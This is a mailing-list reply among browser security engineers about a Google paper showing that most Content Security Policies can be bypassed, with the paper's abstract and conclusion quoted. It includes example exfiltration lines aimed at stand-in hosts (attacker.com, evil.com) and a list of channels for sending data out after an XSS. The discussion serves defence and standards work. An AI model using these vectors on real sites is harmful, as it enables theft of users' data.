Re: On the Insecurity of Whitelists and the Future of CSP

On Thu, Sep 8, 2016 at 12:39 PM, Artur Janc <aaj@google.com> wrote:

> On Thu, Sep 8, 2016 at 10:02 AM, Christoph Kerschbaumer <
> ckerschbaumer@mozilla.com> wrote:
>
>>
>>
>> On Wed, Sep 7, 2016 at 10:14 PM, Artur Janc <aaj@google.com> wrote:
>>
>>> This paper is based on the results that we've discussed a bit at the
>>> last F2F, and which were the original motivation for 'strict-dynamic' --
>>> they came up in some of the discussions we had here around the feature, so
>>> many folks are probably familiar with the details.
>>>
>>> The best outcome I can hope for is if we could consider the past
>>> failings of CSP and think about how we can fix them to build something more
>>> useful. There are lessons that can be applied right away in CSP3 (e.g.
>>> promoting nonces/hashes as a better script blessing mechanism), and some
>>> general takeaways to consider when designing its successor (e.g. avoiding
>>> unnecessary complexity, improving developer understanding of the mechanism
>>> and the security benefits it offers, less ugly syntax, etc).
>>>
>>> There's probably also a meta-discussion to be had around the types of
>>> threats we're trying to mitigate, and an attempt to map how various parts
>>> of CSP or other specs address them. For example, there's almost never a
>>> security benefit of setting img-src,
>>>
>>
>> Well, that's debatable. Historically, images have been used as a channel
>> to exfiltrate sensitive user data. If we could completely prevent XSS, then
>> I could see img-src go away, but until then I see the benefit of having a
>> defense in depth mechanism that blocks such exfiltration attacks. E.g. if
>> an attacker manages to exploit some XSS vulnerability, the attacker could
>> do https://attacker.com/foo.jgp?sensitive-data, but a strongly crafted
>> img-src directive would block the attack.
>>
>
> Hey Christoph,
>
> CSP in its current shape is not well-suited to prevent data exfiltration
> -- not even with the most restrictive policy of default-src 'none'
> (assuming that an attacker could somehow execute a script on the page).
> There are simply too many vectors for sending data out once an attacker has
> script execution:
>
> - Navigating or opening new windows to the attacker's origin (top.location
> = "//evil.com/?data). With this an attacker doesn't need any other
> techniques -- it will always work.
> - Sending data via postMessage to other windows/frames the user has open
> (e.g. the attacker-controlled page in window.opener)
> - Opening same-origin pages/frames (usually same-origin frames will be
> allowed) to documents with less restrictive CSP, e.g. error messages, and
> then sending out the data from there.
> - More exotic vectors such DNS prefetching/prerendering
> <http://www.cse.chalmers.se/~andrei/asiaccs16.pdf> which work in many
> modern browsers.
> - Timing attacks, application-specific attacks (saving data in the same
> origin where the attacker can see it or sending messages to other users --
> often possible in complex applications), sending data to any whitelisted
> origins (e.g. analytics services which let the attacker see request
> parameters), saving data in window.name, saving it in document.cookie
> scoped to the whole origin (.example.org), etc.
>
> Restricting img-src could have stopped a specific way to exfiltrate data
> that was seen in the past, but it doesn't hinder an attacker who exploited
> an XSS in a meaningful way -- keep in mind that the attacker just needs one
> such channel available to them, and he knows about it in advance.
>

Also, in most applications which need to worry about XSS the most sensitive
functionality is what you can do inside the app itself -- XSS exploits
won't try to get auth cookies anymore (because of HttpOnly) so attackers
aren't trying to exfiltrate those.

If you think about any valuable app -- be it your bank, webmail, social
network, etc. -- the functionality that's within the application is what's
most interesting to attackers: you can change account recovery options,
modify ACLs to make your data visible to others, send in-app messages, etc.
So the security of an application in the face of an injection bug would not
be significantly improved even if we were to somehow completely and
conclusively prevent exfiltration.


>
> Cheers,
> -Artur
>
> PS. Craig -- we don't have the paper in text format but it uses the
> standard ACM template so there are probably online converters that will
> work.
>
>
>>
>>
>>> and it adds maintenance overhead and risks breakage when URLs change,
>>> but it's present in a large majority of policies; refocusing on the few
>>> bits that actually improve security would be really beneficial for the
>>> ecosystem.
>>>
>>> As a final meta-note I think so far we've been fairly lucky as an
>>> industry that malicious exploitation of XSS has been fairly limited (for
>>> many reasons; long story). However, we're giving webapps access to more
>>> powerful APIs and keep blurring the line between the web and native apps
>>> (we're already in a situation where XSS in some webapps is equivalent to
>>> remote code execution on the user's device) so these attacks will become
>>> more compelling. The web platform should really have stronger defenses
>>> against a class of vulnerabilities that's simultaneously the most common
>>> and the most damaging; solving other problems but not addressing this one
>>> means we're not serving our users as well as we should.
>>>
>>> -A
>>>
>>> On Wed, Sep 7, 2016 at 6:16 PM, Hodges, Jeff <jeff.hodges@paypal.com>
>>> wrote:
>>>
>>>> Apologies if this has already been posted here, I looked and didn't see
>>>> that it had...
>>>>
>>>> CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the
>>>> Future
>>>> of Content Security Policy
>>>> <https://static.googleusercontent.com/media/research.google.
>>>> com/en//pubs/ar
>>>> chive/45542.pdf
>>>> <https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf>
>>>> >
>>>>
>>>> Lukas Weichselbaum
>>>> Michele Spagnuolo
>>>> Sebastian Lekies
>>>> Artur Janc
>>>>
>>>>
>>>> ABSTRACT
>>>> Content  Security  Policy  is  a  web  platform  mechanism  de-
>>>> signed to mitigate cross-site scripting (XSS), the top security
>>>> vulnerability in modern web applications [24].  In this paper,
>>>> we take a closer look at the practical bene ts of adopting
>>>> CSP and identify signi cant  aws in real-world deployments
>>>> that result in bypasses in 94.72% of all distinct policies.
>>>> We base our Internet-wide analysis on a search engine cor-
>>>> pus of approximately 100 billion pages from over 1 billion
>>>> hostnames; the result covers CSP deployments on 1,680,867
>>>> hosts with 26,011 unique CSP policies { the most compre-
>>>> hensive  study  to  date.   We  introduce  the  security-relevant
>>>> aspects  of  the  CSP  speci cation  and  provide  an  in-depth
>>>> analysis  of  its  threat  model,  focusing  on  XSS  protections.
>>>> We identify three common classes of
>>>> CSP bypasses
>>>> and ex-
>>>> plain how they subvert the security of a policy.
>>>> We  then  turn  to  a  quantitative  analysis  of  policies  de-
>>>> ployed  on  the  Internet  in  order  to  understand  their  secu-
>>>> rity  bene ts.   We  observe  that  14  out  of  the  15  domains
>>>> most commonly whitelisted for loading scripts contain
>>>> un-
>>>> safe endpoints
>>>> ; as a consequence, 75.81% of distinct policies
>>>> use script whitelists that allow attackers to bypass CSP. In
>>>> total, we  nd that 94.68% of policies that attempt to limit
>>>> script  execution  are  ine ective,  and  that  99.34%  of  hosts
>>>> with CSP use policies that o er no bene t against XSS.
>>>> Finally,  we  propose  the
>>>> 'strict-dynamic'
>>>> keyword,  an
>>>> addition to the speci cation that facilitates the creation of
>>>> policies based on cryptographic nonces, without relying on
>>>> domain whitelists. We discuss our experience deploying such
>>>> a
>>>> nonce-based
>>>> policy in a complex application and provide
>>>> guidance to web authors for improving their policies.
>>>>
>>>>
>>>>
>>>> 6.  CONCLUSION
>>>> In this paper, we presented an assessment of the practical
>>>> security bene ts of adopting CSP in real-world applications,
>>>> based on a large-scale empirical study.
>>>> We performed an in-depth analysis of the security model
>>>> of CSP and identi ed several cases where seemingly safe poli-
>>>> cies provided no security improvement.  We investigated the
>>>> adoption of CSP on over 1 billion hostnames, and identi ed
>>>> 1.6 million hosts using 26,011 unique policies in the Google
>>>> search index.
>>>> Unfortunately,  the  majority  of  these  policies  are  inher-
>>>> ently insecure. Via automated checks, we were able to demon-
>>>> strate that 94.72 % of all policies can be trivially bypassed
>>>> by an attacker with a markup-injection bug.  Furthermore,
>>>> we analyzed the security properties of whitelists.  Thereby,
>>>> we found that 75.81 % of all policies and 41.65 % of all strict
>>>> policies contain at least one insecure host within their white-
>>>> lists.  These numbers lead us to the believe that whitelists
>>>> are impractical for use within CSP policies.
>>>> Hence,  we  proposed  a  new  way  of  writing  policies.   In-
>>>> stead  of  whitelisting  entire  hosts,  we  recommend  enabling
>>>> individual scripts via an approach based on CSP nonces.
>>>> In order to ease the adoption of
>>>> nonce-based
>>>> CSP, we fur-
>>>> thermore  proposed  the
>>>> 'strict-dynamic'
>>>> keyword.   Once
>>>> speci ed within a CSP policy, this keyword enables a mode
>>>> inside  the  browser  to  inherit  nonces  to  dynamic  scripts.
>>>> Hence, if a script trusted with a nonce creates a new script at
>>>> runtime, this new script will also be considered legitimate.
>>>> Although  this  technique  departs  from  the  traditional  host
>>>> whitelisting approach of CSP, we consider the usability im-
>>>> provements signi cant enough to justify its broad adoption.
>>>> Because this is designed to be an opt-in mechanism, it does
>>>> not reduce the protective capabilities of CSP by default.
>>>> We expect that that the combination of a nonce-based ap-
>>>> proach and the
>>>> 'strict-dynamic'
>>>> keyword will allow devel-
>>>> opers and organizations to  nally enjoy real security bene ts
>>>> o ered by the Content Security Policy.
>>>>
>>>>
>>>>
>>>> end
>>>>
>>>>
>>>>
>>>
>>
>